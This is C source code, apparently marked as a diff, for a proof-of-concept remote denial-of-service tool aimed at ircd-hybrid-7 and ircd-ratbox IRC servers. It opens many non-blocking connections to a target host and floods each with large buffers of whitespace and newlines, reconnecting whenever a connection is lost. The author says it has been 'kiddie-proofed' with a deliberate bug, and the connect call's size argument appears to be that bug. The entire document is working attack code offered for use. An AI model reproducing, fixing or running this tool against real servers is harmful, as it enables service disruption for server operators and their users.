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- // Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
- //
- // ./kiddie-proofed - you'll need to correct a bug
- //
- // Tested on linux, should work with minor tweaks on other platforms
- //
- // -- Erik Sperling Johansen <einride@einride.org>
-
- #include <stdlib.h>
- #include <stdio.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <sys/signal.h>
- #include <sys/ioctl.h>
- #include <errno.h>
- #include <string.h>
- #include <time.h>
-
- int done = 0;
-
-
- void siginthandler(int x) {
- fprintf(stdout, "Exiting\n");
- done = 1;
- }
- void usage(const char * b) {
- fprintf(stderr, "%s ip port connectioncount\n", b);
- exit(1);
- }
-
- int makeconn(struct sockaddr_in * sin) {
- int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (s < 0) {
- perror("socket");
- return -1;
- }
- int n=1;
- if (ioctl(s, FIONBIO, &n, sizeof(n))) {
- perror("ioctl");
- close(s);
- return -1;
- }
- errno = 0;
- if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
- && (errno != EINPROGRESS)) {
- perror("connect");
- close(s);
- return -1;
- }
- return s;
- };
-
- int main(int argc, const char ** argv, const char ** envp) {
- fd_set wfd, rfd;
- FD_ZERO(&wfd);
- FD_ZERO(&rfd);
- if (argc != 4)
- usage(argv[0]);
- struct sockaddr_in sin;
- memset(&sin, 0, sizeof(sin));
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- if (sin.sin_addr.s_addr == INADDR_NONE)
- usage(argv[0]);
- sin.sin_port = htons(atoi(argv[2]));
- sin.sin_family = AF_INET;
- int conncount = atoi(argv[3]);
- if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
- usage(argv[0]);
- int * sockets = (int *) malloc(conncount * sizeof(int));
- int i, highsock = 0;
- char buf[65536];
- char dummy[65536];
- for (i=0; i<sizeof(buf)-1; i+=2) {
- buf[i] = ' ';
- buf[i+1] = '\n';
- }
- for (i = 0; i<conncount; ++i)
- sockets[i] = -1;
- highsock = -1;
- int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
- time_t Started = time(0), LastRep = time(0);
- signal(SIGPIPE, SIG_IGN);
- signal(SIGINT, siginthandler);
- while (!done) {
- fd_set w, r;
- if (highsock == -1) {
- for (i=0;i<conncount;++i) {
- if (sockets[i] < 0) {
- sockets[i] = makeconn(&sin);
- if (sockets[i] >= 0) {
- ++CountConnects;
- FD_SET(sockets[i], &wfd);
- FD_SET(sockets[i], &rfd);
- }
- if (highsock < sockets[i])
- highsock = sockets[i];
- }
- }
- }
- memcpy(&w, &wfd, sizeof(w));
- memcpy(&r, &rfd, sizeof(r));
- struct timeval tv = { 1, 0 };
- int c = select(highsock+1, &r, &w, 0, &tv);
- for (i = 0; (i<conncount) && (c > 0); ++i) {
- if (sockets[i] >= 0) {
- if (FD_ISSET(sockets[i], &w)) {
- int bytes = send(sockets[i], buf, sizeof(buf), 0);
- if (bytes > 0) {
- CountBytes += bytes;
- CurCountBytes += bytes;
- } else {
- #ifndef NONOISE
- perror("send");
- #endif
- FD_CLR(sockets[i], &wfd);
- FD_CLR(sockets[i], &rfd);
- close(sockets[i]);
- #ifndef NONOISE
- fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n",
- sockets[i]);
- #endif
- sockets[i] = -1;
- highsock = -1;
- }
- }
- }
- if (sockets[i] >= 0) {
- if (FD_ISSET(sockets[i], &r)) {
- errno = 0;
- if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
- #ifndef NONOISE
- perror("recv");
- #endif
- FD_CLR(sockets[i], &wfd);
- FD_CLR(sockets[i], &rfd);
- close(sockets[i]);
- #ifndef NONOISE
- fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n",
- sockets[i]);
- #endif
- sockets[i] = -1;
- highsock = -1;
- }
- }
- }
- }
-
- if (time(0) - LastRep > 5) {
- fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
- (time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
- LastRep = time(0);
- CurCountBytes = 0;
- }
- }
- fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
- CountConnects, CountBytes, CountBytes / (time(0) - Started));
-
- return 0;
- }
-
-